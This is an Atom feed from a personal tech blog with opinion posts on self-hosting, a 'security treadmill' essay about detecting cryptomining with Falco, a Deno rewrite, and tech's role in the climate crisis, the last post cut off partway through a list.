<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>Mac&#x27;s Tech Blog</title>
    <subtitle>Mac&#x27;s Tech Blog</subtitle>
    <link rel="self" type="application/atom+xml" href="https://www.macchaffee.com/blog/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2025-09-01T00:00:00+00:00</updated>
    <id>https://www.macchaffee.com/blog/atom.xml</id>
    <entry xml:lang="en">
        <title>Self-hosting on a (knowledge) budget</title>
        <published>2025-09-01T00:00:00+00:00</published>
        <updated>2025-09-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2025/self-hosting-on-a-knowledge-budget/"/>
        <id>https://www.macchaffee.com/blog/2025/self-hosting-on-a-knowledge-budget/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2025/self-hosting-on-a-knowledge-budget/">&lt;p&gt;If I&#x27;m being honest, I feel like a lot of the technology we use day-to-day isn&#x27;t super necessary if not actively harmful. But some technology is really helpful in the right context, like how moving a court hearing online can help people avoid being abducted by ICE.&lt;&#x2F;p&gt;
&lt;p&gt;So we still need some technology, and the goal should be using technology that&#x27;s accountable to and understandable by the people using it. The self-hosting movement has been on a mission to get technology into the hands of individuals, but I feel like they&#x27;ve never really succeeded in making it accessible outside of techy people. The only people I know of who self-host are people who have been &quot;&lt;a href=&quot;https:&#x2F;&#x2F;infosec.exchange&#x2F;@0xabad1dea&#x2F;114788860720133664&quot;&gt;investing all their skill points&lt;&#x2F;a&gt;&quot; into tech for a good part of their lives.&lt;&#x2F;p&gt;
&lt;p&gt;One interesting project that&#x27;s trying to achieve that goal is &lt;a href=&quot;https:&#x2F;&#x2F;coopcloud.tech&#x2F;&quot;&gt;Co-op Cloud&lt;&#x2F;a&gt;. They have their heads in the right place, but I feel like they&#x27;re fighting a losing battle due to the design of all the normal self-hosted apps like NextCloud, Jitsi, Matrix Synapse, etc. All these apps were designed to run in a POSIX environment, with the ability to read&#x2F;write arbitrary files, open arbitrary network connections, spawn arbitrary process, and make arbitrary syscalls. They were designed to need special external databases like Postgres, which are also designed with similar expectations. These apps have also existed for a long time, which means they&#x27;ve accumulated highly complex config files and still have lots of insecure defaults.&lt;&#x2F;p&gt;
&lt;p&gt;Maintaining apps like those can be painless if you know what you&#x27;re doing, but if you don&#x27;t, you&#x27;re one wrong step away from data loss, breaches, downtime, or show-stopping&#x2F;head-scratching bugs. This risk doesn&#x27;t go away with tools like YunoHost which try to hide this complexity behind one-click deploy interfaces.&lt;&#x2F;p&gt;
&lt;p&gt;How can we possibly build technology that is &quot;accountable to and understandable by the people&quot; if most of the self-hosted apps have this complexity problem? I don&#x27;t think self-hosters have  properly confronted this question, yet they wonder why most people prefer to use proprietary Big Tech solutions in exchange for some tracking and advertising.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-s-the-fix&quot;&gt;What&#x27;s the fix?&lt;&#x2F;h2&gt;
&lt;p&gt;Heck if I know. I can think of two ideas though:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Tech workers should probably be doing more outreach&#x2F;education in their communities to improve tech literacy. This requires educating yourself as well, since a lot of you have some pretty bad takes and ingrained myths from years of having your paycheck depend on the tech industry&#x27;s blood-sucking tactics. After all, it was tech workers who tricked CEOs and world leaders into thinking that AI (and previously blockchain) will solve all their problems.&lt;&#x2F;li&gt;
&lt;li&gt;New open-source, self-hostable projects should choose much simpler tech stacks, such as by not requiring separate processes&#x2F;containers. Does this mean apps will have less features and less mass scalability? Yes, but I see this as a desireble side effect. I&#x27;d like to see people participating in more smaller communities and having less dependence on tech in general.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Something that can help with both of those ideas is reading and following the &lt;a href=&quot;https:&#x2F;&#x2F;permacomputing.net&#x2F;principles&#x2F;&quot;&gt;Permacomputing Principles&lt;&#x2F;a&gt;, a great guide which the Co-op Cloud folks have contributed to. As we continue to operate in the midst of a &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Polycrisis&quot;&gt;polycrisis&lt;&#x2F;a&gt;, we should be using our expertise as tech workers to build resilient and people-centric alternative systems.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Avoid building a security treadmill</title>
        <published>2025-03-23T00:00:00+00:00</published>
        <updated>2025-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2025/security-treadmill/"/>
        <id>https://www.macchaffee.com/blog/2025/security-treadmill/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2025/security-treadmill/">&lt;p&gt;Recently, a ticket came across my desk asking for help with stopping people from using a free GPU service to mine cryptocurrencies. The tool they requested to do this was &lt;a href=&quot;https:&#x2F;&#x2F;falco.org&#x2F;docs&#x2F;&quot;&gt;Falco&lt;&#x2F;a&gt;, an eBPF-powered agent that runs in a Kubernetes cluster, watching for suspicious syscalls using a set of rules. To detect cryptomining, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;falcosecurity&#x2F;rules&#x2F;blob&#x2F;371e43167e1b70ef0600d8fd30c8a338663ccb56&#x2F;rules&#x2F;falco-sandbox_rules.yaml#L1481&quot;&gt;the default rules can detect outbound network connections to common miner pools&lt;&#x2F;a&gt; by watching the syscalls &lt;code&gt;sendto&lt;&#x2F;code&gt;, &lt;code&gt;sendmsg&lt;&#x2F;code&gt;, and &lt;code&gt;connect&lt;&#x2F;code&gt;. So I dutifully deployed Falco itself, plus &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;falcosecurity&#x2F;falcosidekick&quot;&gt;falcosidekick&lt;&#x2F;a&gt; which ingests all the Falco alerts, sends them to a Kafka cluster, then a Kafka consumer processes the events and kills the offending Kubernetes Pod.&lt;&#x2F;p&gt;
&lt;p&gt;The eye-watering complexity of this solution isn&#x27;t even my main issue with it (it&#x27;s not bad for a modern platform team). My issue is that it&#x27;s a &quot;security treadmill&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;s the oldest trick in the blogosphere book: giving a catchy name like &quot;security treadmill&quot; to a common phenomenon. A security treadmill&lt;sup id=&quot;back-1&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;security-treadmill&#x2F;#1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; is a piece of software that, due to a weakness of design, requires constant patching to keep it secure. Isn&#x27;t that just all software? Honestly... kinda, yeah, but a true treadmill is self-inflicted. You bought it, assembled it, and put it in your spare bedroom; a device specifically designed to let you walk&#x2F;run forever without making forward progress.&lt;&#x2F;p&gt;
&lt;p&gt;When someone brought up the issue of people abusing the free GPUs to mine cryptocurrencies, the first question someone asked was: couldn&#x27;t we just charge people for the GPUs? This could have been our first exit off the security treadmill. People don&#x27;t mine cryptocurrencies because they like to run up your electric bill or embarrass your security team. They do it because it&#x27;s profitable. If you charge people slightly more than the profit, they will just stop, no complicated infrastructure required. Tech-y people often forget that not every solution can be solved with more tech.&lt;&#x2F;p&gt;
&lt;p&gt;Anyway, the idea of removing the free service was abandoned for reasons I wasn&#x27;t privy to, so we pressed ahead and deployed Falco. The demo worked, everyone seems happy for now, but I feel the ground moving ever so slowly backwards underneath me.&lt;&#x2F;p&gt;
&lt;p&gt;The problem should be apparent at this point to anyone who has tried to bypass an internet filter at school or work. There are countless ways to send network traffic to a particular host without needing to &lt;code&gt;connect&lt;&#x2F;code&gt; to its IP directly (the only way Falco can detect it). The security treadmill is now moving underneath us. To avoid falling off the back of it, we have to constantly update the Falco rules to catch new techniques, including such cutting-edge techniques like &quot;using a VPN or proxy&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;The failure mode that creates security treadmills is a failure to implement &quot;secure by design&quot; principles. The legacy of computing that we&#x27;ve all inherited is one built in the high-trust environment of collaborating universities in the 70&#x27;s and 80&#x27;s, where tools and protocols were not designed with security as a major factor. We have to shake off this mindset as we build new tools and protocols.&lt;&#x2F;p&gt;
&lt;p&gt;For example, the ability for nearly every application to have full, unfettered access to the entire Internet is a deeply-held and rarely-challenged assumption. Cryptocurrencies generally cannot be mined without a constant internet connection since you need to receive information about the latest &quot;blocks&quot;. Denying all outbound network traffic except for a few allow-listed hosts would be one non-treadmill solution, with the added bonus of thwarting exfiltration attacks, 2-stage malware attacks, and command-and-control servers.&lt;&#x2F;p&gt;
&lt;p&gt;Another rarely-challenged assumption is that every application needs a full POSIX environment (like what a Docker container gives you): a read&#x2F;write file system, ability to spawn other processes, ability to execute arbitrary code, &lt;a href=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;diving-into-proc-pid-mem&#x2F;#access-checks&quot;&gt;ability to read the memory of other processes&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;blog&#x2F;meltdown-spectre&#x2F;#high-resolution_timers&quot;&gt;access to clocks with microsecond precision&lt;&#x2F;a&gt;, etc. Perhaps free-tier users of these GPUs could have been restricted to running specific demos, or restrictive timeouts for GPU processing times, or denying disk write access to prevent downloading miners, or denying the ability to execute files outside of a read-only area.&lt;&#x2F;p&gt;
&lt;p&gt;Given all these options, there are still lots of legacy applications that simply cannot be sandboxed and cannot be made sandboxable. But we can at least stop building new ones that require a never-ending security treadmill to keep them secured.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;aside&gt;
&lt;p&gt;&lt;span id=&quot;1&quot;&gt;1&lt;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;security-treadmill&#x2F;#back-1&quot;&gt;⤴&lt;&#x2F;a&gt;: Maybe a similar term could be a &quot;security arms race&quot;, but security people have got to stop LARPing like they&#x27;re in a war where everything is life or death. &lt;a href=&quot;https:&#x2F;&#x2F;kellyshortridge.com&#x2F;blog&#x2F;posts&#x2F;sun-tzu-wouldnt-like-the-cybersecurity-industry&#x2F;&quot;&gt;Sun Tzu wouldn&#x27;t like the cybersecurity industry&lt;&#x2F;a&gt; anyway.&lt;&#x2F;p&gt;
&lt;&#x2F;aside&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Deno shows us there&#x27;s a better way</title>
        <published>2025-02-28T00:00:00+00:00</published>
        <updated>2025-02-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2025/deno/"/>
        <id>https://www.macchaffee.com/blog/2025/deno/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2025/deno/">&lt;p&gt;Recently, I completed a full rewrite of &lt;a href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;mac-chaffee&#x2F;ncsu-menu-notifier&quot;&gt;my first personal project&lt;&#x2F;a&gt;, which was a Django project running on Heroku. Now it&#x27;s a Deno project running on Deno Deploy. The experience has really gotten me thinking about the amount of pain we put up with to deploy simple stuff these days, especially with containers. Deno shows us that it doesn&#x27;t have to be that way.&lt;&#x2F;p&gt;
&lt;p&gt;I know what you&#x27;re thinking, &quot;we already had a great setup: rsyncing PHP files&quot;. Unfortunately, rsyncing PHP files still lacks many critical features needed for more complicated projects. Collaboration, continuous integration, dependency management, multi-region support, scalability, preview environments, runtime security are just some of the features you&#x27;d have to build yourself. That&#x27;s part of why containerization (and its ecosystem) has taken off, since it provides a well-trodden path for each of those features (&quot;just a few more CNCF projects and we can really get this thing poppin&#x27;&quot;)&lt;&#x2F;p&gt;
&lt;p&gt;But people have been saying for a long time that containers are painful to work with. Historically I&#x27;ve been a bit dismissive of those people because, like all technology, containers make tradeoffs. You have to tolerate the slow build times, bloated images, and YAML hell in order to get the language agnosticism, dependency bundling, immutability, and access to Kubernetes and other projects that give your app superpowers as long as it&#x27;s containerized. At least, that&#x27;s what I used to believe.&lt;&#x2F;p&gt;
&lt;p&gt;Deno seems to take a holistic approach, where the development environment, deployment method, and infrastructure are all self-contained within the &lt;code&gt;deno&lt;&#x2F;code&gt; CLI. Maybe some of this comes from Golang&#x27;s decision to bundle the package manager and the formatter&#x2F;linter directly into the language, which Deno does as well.&lt;&#x2F;p&gt;
&lt;p&gt;I think this is a smart move. The more mature platforms I see have more tight integration with the application code itself. Normally this is a set of config files (terraform or k8s manifests), but there have been efforts to replace config files will full languages such as &lt;a href=&quot;https:&#x2F;&#x2F;www.pulumi.com&#x2F;&quot;&gt;Pulumi&lt;&#x2F;a&gt;. Even before that, there were libraries like &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Netflix&#x2F;Hystrix&quot;&gt;Netflix&#x27;s Hysterix&lt;&#x2F;a&gt; which bakes a service mesh into application code (before service meshes even existed). I think these threads of history tie into Deno&#x27;s all-in-one approach to produce a nice developer experience with just a git repo and a CLI tool.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-rewrite&quot;&gt;The rewrite&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;mac-chaffee&#x2F;ncsu-menu-notifier&quot;&gt;The Django project&lt;&#x2F;a&gt; that I rewrote in Deno is your typical 3-tier web app. I&#x27;d classify it as a non-trivial application that took me maybe 30 eight-hour working days to build originally (which translates to years of weekend coding). I was able to rewrite it in a week of evenings, about 4 work days. And this was my first experience writing TypeScript&#x2F;Deno, so I had to look up a bunch of simple questions like how to do loops or create maps!&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The development environment setup is easy, just a &lt;code&gt;curl | bash&lt;&#x2F;code&gt; to get the Deno CLI. The language server can be installed easily into Zed or VS Code. No messing around with JDKs or system Python versions.&lt;&#x2F;li&gt;
&lt;li&gt;Packages are cached globally but tracked&#x2F;locked in your git repo, so no giant &lt;code&gt;node_modules&lt;&#x2F;code&gt; folder and no Python virtual environments.&lt;&#x2F;li&gt;
&lt;li&gt;Everything you need to develop—including data storage via Deno KV—is included in the CLI, so no need for Docker.&lt;&#x2F;li&gt;
&lt;li&gt;Package install times are so fast that I wasn&#x27;t bothered by the fact that Deno&#x27;s caching&#x2F;vendoring was broken when I tried to set up Gitlab CI.&lt;&#x2F;li&gt;
&lt;li&gt;Compile&#x2F;run&#x2F;test times seem nearly instantaneous (it is a small project with only a single dependency), so I was able to run tests as a pre-commit hook without even noticing a delay.&lt;&#x2F;li&gt;
&lt;li&gt;Deployment to multiple regions with a highly available database only takes a single command which runs several times quicker than the Heroku deployments I was doing before.&lt;&#x2F;li&gt;
&lt;li&gt;Deno has capabilities-based security, where it doesn&#x27;t get the ability to spawn arbitrary processes, read environment variables, or read&#x2F;write any file in your home folder.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The beautiful thing is that (no offense) I don&#x27;t think any of these are revolutionary ideas on their own. I don&#x27;t even think it&#x27;d be too hard to add these features to existing languages. Just seems like nobody else seems keen on bringing all of these elements together.&lt;&#x2F;p&gt;
&lt;p&gt;There were some rough edges, and I know Deno has a lot of beta-quality things, but they&#x27;ve been in beta for a while. The metrics and logs are lacking, I had some issues with the API docs, some error messages were unclear, you can&#x27;t simply download a backup of your KV data, and I hit the classic React issue where some content refers to old Deno features&#x2F;techniques that don&#x27;t exist anymore. One big missing feature was that I can&#x27;t imagine running a Deno Deploy site without a caching&#x2F;rate-limiting CDN in front to control costs, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;denoland&#x2F;deploy_feedback&#x2F;issues&#x2F;814&quot;&gt;which is such an easy feature Deno could include&lt;&#x2F;a&gt;. Without that, kinda defeats the whole purpose of running at the edge.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Computers are so ridiculously powerful these days that it&#x27;s so weird we still have CI&#x2F;CD pipelines that take tens of minutes. &lt;a href=&quot;https:&#x2F;&#x2F;www.sqlite.org&#x2F;testing.html&quot;&gt;SQLite runs 300k test cases in &quot;only a few minutes&quot; on every commit&lt;&#x2F;a&gt;. We also have huge servers with huge disks where you could store the top 99% of every library, package, binary, etc., completely eliminating the need for CI&#x2F;CD caching. We have advanced compilers that can do incremental compilation. We have an enormous pool of seasoned software engineers who could bring all these things together, and an enormous tech industry itching to pay for it. Maybe if everyone wasn&#x27;t busy building ad tech and chat bots, we&#x27;d get somewhere.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Tech and the climate crisis</title>
        <published>2025-02-25T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2025/tech-and-the-climate-crisis/"/>
        <id>https://www.macchaffee.com/blog/2025/tech-and-the-climate-crisis/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2025/tech-and-the-climate-crisis/">&lt;p&gt;As we leave 2024, we&#x27;re reckoning with both the fever pitch of AI hype and &lt;a href=&quot;https:&#x2F;&#x2F;www.nature.com&#x2F;articles&#x2F;s41558-025-02247-8&quot;&gt;annual average air temperatures blowing past the critical threshold&lt;&#x2F;a&gt; of +1.5 degrees Celsius which was set by the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Paris_Agreement&quot;&gt;Paris Agreement&lt;&#x2F;a&gt;&lt;sup id=&quot;back-1&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;. With both of these happening simultaneously, there&#x27;s been a lot of concern over the carbon footprint of tech in general and AI specifically:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.technologyreview.com&#x2F;2019&#x2F;06&#x2F;06&#x2F;239031&#x2F;training-a-single-ai-model-can-emit-as-much-carbon-as-five-cars-in-their-lifetimes&#x2F;&quot;&gt;&quot;Training a single AI model can emit as much carbon as five cars in their lifetimes&quot;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.techradar.com&#x2F;pro&#x2F;generative-ai-triples-the-carbon-dioxide-emissions-from-data-centers&quot;&gt;&quot;Generative AI is reportedly tripling carbon dioxide emissions from data centers&quot;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20250130112153&#x2F;https:&#x2F;&#x2F;loopbreaker.substack.com&#x2F;p&#x2F;ai-but-at-what-cost-breakdown-of&quot;&gt;&quot;AI -- is it efficient? Is it green? Far from it.&quot;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Thankfully, I&#x27;ve taken so long to write this post that other people have already put those numbers into perspective, showing that they are essentially a distraction:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;pythonspeed.com&#x2F;articles&#x2F;co2-emissions-software&#x2F;&quot;&gt;&quot;Your software’s electricity usage may not matter&quot;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;andymasley.substack.com&#x2F;p&#x2F;individual-ai-use-is-not-bad-for&quot;&gt;&quot;Using ChatGPT is not bad for the environment&quot;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;ntietz.com&#x2F;blog&#x2F;can-i-ethically-use-llms&#x2F;&quot;&gt;&quot;I don&#x27;t think that [AI] is significantly shifting the equation on climate change.&quot;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Or most succinctly: &quot;AI training models consume energy, an issue that has been exaggerated by high-profile members of the tech pseudo-left. By my calculation, building a large AI model accounts for just ~0.000007% of... worldwide annual carbon emissions in 2023—7 ten millionths of 1%.&quot; (from &lt;em&gt;Digital Degrowth&lt;&#x2F;em&gt; by Michael Kwet)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;But I think two things have been missing from the other posts, which are 1) why the tech industry continues to be conflicted on the subject of sustainability, and 2) what we &lt;em&gt;really&lt;&#x2F;em&gt; should be doing about the climate crisis, which are two things I plan to address in this post.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;background-why-is-the-tech-industry-conflicted-about-the-climate-crisis&quot;&gt;Background: Why is the tech industry conflicted about the climate crisis?&lt;&#x2F;h2&gt;
&lt;p&gt;One of the few positive things about Silicon Valley&#x27;s influence on the tech industry is the slightly-higher-than-average interest in sustainability. As linked above, I see a lot of people actively participating in discussions and blogs on the subject of sustainability, which is a good thing!&lt;&#x2F;p&gt;
&lt;p&gt;However, I also see a lot of people in tech becoming too focused on ineffective solutions to the climate crisis such as improving software efficiency&lt;sup id=&quot;back-2&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#2&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;. Improving software efficiency is fully compatible with the status quo of extractive capitalism that is causing the crisis in the first place. Thanks to induced demand, more efficient software or AI may even result in more usage, which has been happening throughout computing history under &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Moore&amp;#x27;s_law&quot;&gt;Moore&#x27;s Law&lt;&#x2F;a&gt;. Since tech workers&#x27; paychecks are often dependent on the status quo continuing, it&#x27;s difficult to remain skeptical when faced with comforting lies.&lt;&#x2F;p&gt;
&lt;p&gt;Let&#x27;s say you work for an American tech company and you&#x27;re interested in sustainability. You spend eight hours making a high-traffic website more efficient, which in a typical case&lt;sup id=&quot;back-3&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#3&quot;&gt;3&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; could save a little under 3 tons of CO2 per year. Nice! You pat yourself on the back.&lt;&#x2F;p&gt;
&lt;p&gt;During those eight hours, you leave one of 145 million over-sized American homes, get into one of 1.47 billion cars, drive on a few of the 40 million miles of roads that replaced carbon-absorbing forests, sit in your office building cooled by one of 1.5 billion AC units, eat one serving of the 400 million tons of meat consumed annually (which also replaces carbon-absorbing forests). Maybe you say hi to your CEO in the hallway, who &lt;a href=&quot;https:&#x2F;&#x2F;simpleflying.com&#x2F;starbucks-ceo-private-jet-flights-2024&#x2F;&quot;&gt;commutes in by private jet twice a week&lt;&#x2F;a&gt;. Maybe you personally work remotely, don&#x27;t fly, eat vegan, etc. but even in 2025 that makes you a rarity. Society at large makes each of those actions difficult; like swimming upstream. Eight hours pass, and the world pumps another 35 million tons of CO2 into the atmosphere. Business as usual continues.&lt;&#x2F;p&gt;
&lt;p&gt;To me, all these tech companies and workers who talk about how they are &quot;innovative&quot; or &quot;disruptive&quot; are anything but that, since they all carefully color inside the lines of extractive capitalism. Try to take one step over the line into helping people or the planet &lt;em&gt;instead of&lt;&#x2F;em&gt; the bottom line and you&#x27;ll see what your employer really thinks about innovation and disruption.&lt;&#x2F;p&gt;
&lt;p&gt;Maybe a few decades ago, we would have time for a slow, comfortable transition to net-zero carbon emissions, where those little acts of sustainability would be welcome. But today, effective solutions for the climate crisis are increasingly incompatible with the status quo. So I think it&#x27;s time to challenge the tech industry to focus on things that are actually impactful.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-critique-a-movement&quot;&gt;How to critique a movement&lt;&#x2F;h2&gt;
&lt;p&gt;Before diving further, I want to make it clear that I don&#x27;t want to incite &lt;em&gt;horizontal hostility&lt;&#x2F;em&gt;. Horizontal hostility &quot;&lt;a href=&quot;https:&#x2F;&#x2F;oxford-review.com&#x2F;the-oxford-review-dei-diversity-equity-and-inclusion-dictionary&#x2F;horizontal-hostility-definition-and-explanation&#x2F;&quot;&gt;refers to the phenomenon where individuals or groups... direct criticism, judgment, or antagonism toward one another instead of uniting to challenge systemic oppression&lt;&#x2F;a&gt;&quot;. Horizontal hostility is so dangerous to movements that &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;COINTELPRO&quot;&gt;the FBI used it to undermine civil rights movements as part of COINTELPRO&lt;&#x2F;a&gt; to divide and conquer them.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The FBI specifically developed tactics intended to heighten tension and hostility between various factions in the black power movement, for example between the Black Panthers and the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;US_Organization&quot;&gt;US Organization&lt;&#x2F;a&gt;. For instance, the FBI sent a fake letter to the US Organization exposing a supposed Black Panther plot to murder the head of the US Organization, Ron Karenga. They then intensified this by spreading falsely attributed cartoons in the black communities pitting the Black Panther Party against the US Organization. This resulted in numerous deaths [of] San Diego Black Panther Party members...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;At the same time though, movements live and die by their strategy, and fact-based constructive criticism is the best way to develop a strategy, not name-calling and infighting. So I hope this post comes across as more of the former than the latter!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-most-effective-then&quot;&gt;What is most effective then?&lt;&#x2F;h2&gt;
&lt;p&gt;There are countless researchers trying to identify and quantify which climate solutions are most impactful. This is a highly complex subject that is rife for manipulation by businesses that don&#x27;t want to be cast in a negative light.&lt;&#x2F;p&gt;
&lt;p&gt;This isn&#x27;t even a conspiracy theory; big businesses have been caught successfully undermining the discourse surrounding the climate crisis in ways that benefits them, from &lt;a href=&quot;https:&#x2F;&#x2F;www.bbc.com&#x2F;news&#x2F;stories-53640382&quot;&gt;Exxon &quot;emphasizing the uncertainty&quot; of their own climate research in 1989&lt;&#x2F;a&gt; to &lt;a href=&quot;https:&#x2F;&#x2F;qz.com&#x2F;ipcc-report-on-climate-change-meat-industry-1850261179&quot;&gt;the meat industry removing mentions of plant-based diets from the IPCC report in 2023&lt;&#x2F;a&gt;, and countless other examples in between. According to leaked documents, many major companies even hire &lt;a href=&quot;https:&#x2F;&#x2F;www.mintpressnews.com&#x2F;divide-and-conquer-unpacking-stratfors-rise-to-power&#x2F;165933&#x2F;&quot;&gt;public relations (PR) firms who have developed complex playbooks for destroying movements&lt;&#x2F;a&gt;, including undermining the Nestle boycott, Tobacco regulation, various kinds of environmental movements, and even &lt;a href=&quot;http:&#x2F;&#x2F;news.google.com&#x2F;newspapers?nid=2245&amp;amp;dat=19871001&amp;amp;id=Ja9AAAAAIBAJ&amp;amp;sjid=VTIHAAAAIBAJ&amp;amp;pg=7150,3890252&quot;&gt;the movement to boycott Shell for supporting apartheid in South Africa&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;These widespread PR campaigns have captured lots of well-meaning people in their gravity well of misinformation, leading people to get stuck on solutions like zero waste (but not zero consumption), paper&#x2F;metal straws, recycling, electric cars, and energy efficiency (on the micro scale). Companies who push these &quot;demand-side&quot; solutions are participating in &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Greenwashing&quot;&gt;greenwashing&lt;&#x2F;a&gt; since many major sources of pollution are systemic. But it&#x27;s also incorrect to say there&#x27;s nothing we can do individually. &lt;a href=&quot;https:&#x2F;&#x2F;www.nytimes.com&#x2F;interactive&#x2F;2022&#x2F;12&#x2F;15&#x2F;opinion&#x2F;how-reduce-carbon-footprint-climate-change.html&quot;&gt;Most Americans drastically underestimate&lt;&#x2F;a&gt; the carbon impact of many things they can control, like 94% not realizing eating a vegan diet is one of the most impactful things you can do personally.&lt;&#x2F;p&gt;
&lt;p&gt;So what is most effective? I hope you see now that it&#x27;s complicated. While researching for this post, I&#x27;ve started graduating from &quot;not knowing what I don&#x27;t know&quot; to &quot;knowing what I don&#x27;t know&quot; about climate science. It&#x27;s not as simple as adding and subtracting carbon emissions and sinks. Thankfully, climate scientists have worked hard to produce lists of solutions that are designed for communicating with the general public. I&#x27;ve included two well-respected lists of solutions below:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.ipcc.ch&#x2F;report&#x2F;ar6&#x2F;syr&#x2F;figures&#x2F;figure-spm-7&quot;&gt;The IPCC&#x27;s list of most cost-effective solutions&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;I recommend studying this diagram for several minutes since it&#x27;s very dense but also very informative. Note that the bar chart size is heavily dependent on how each bar is grouped, so try mentally regrouping each category to see how the conclusion changes.&lt;&#x2F;li&gt;
&lt;li&gt;Remember that the IPCC&#x27;s solutions are considered to be more conservative, and countries have already been caught manipulating the wording to deprioritize things like plant-based diets and climate financing.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;drawdown.org&#x2F;solutions&#x2F;table-of-solutions&quot;&gt;Project Drawdown&#x27;s table of solutions&lt;&#x2F;a&gt;
&lt;ul&gt;
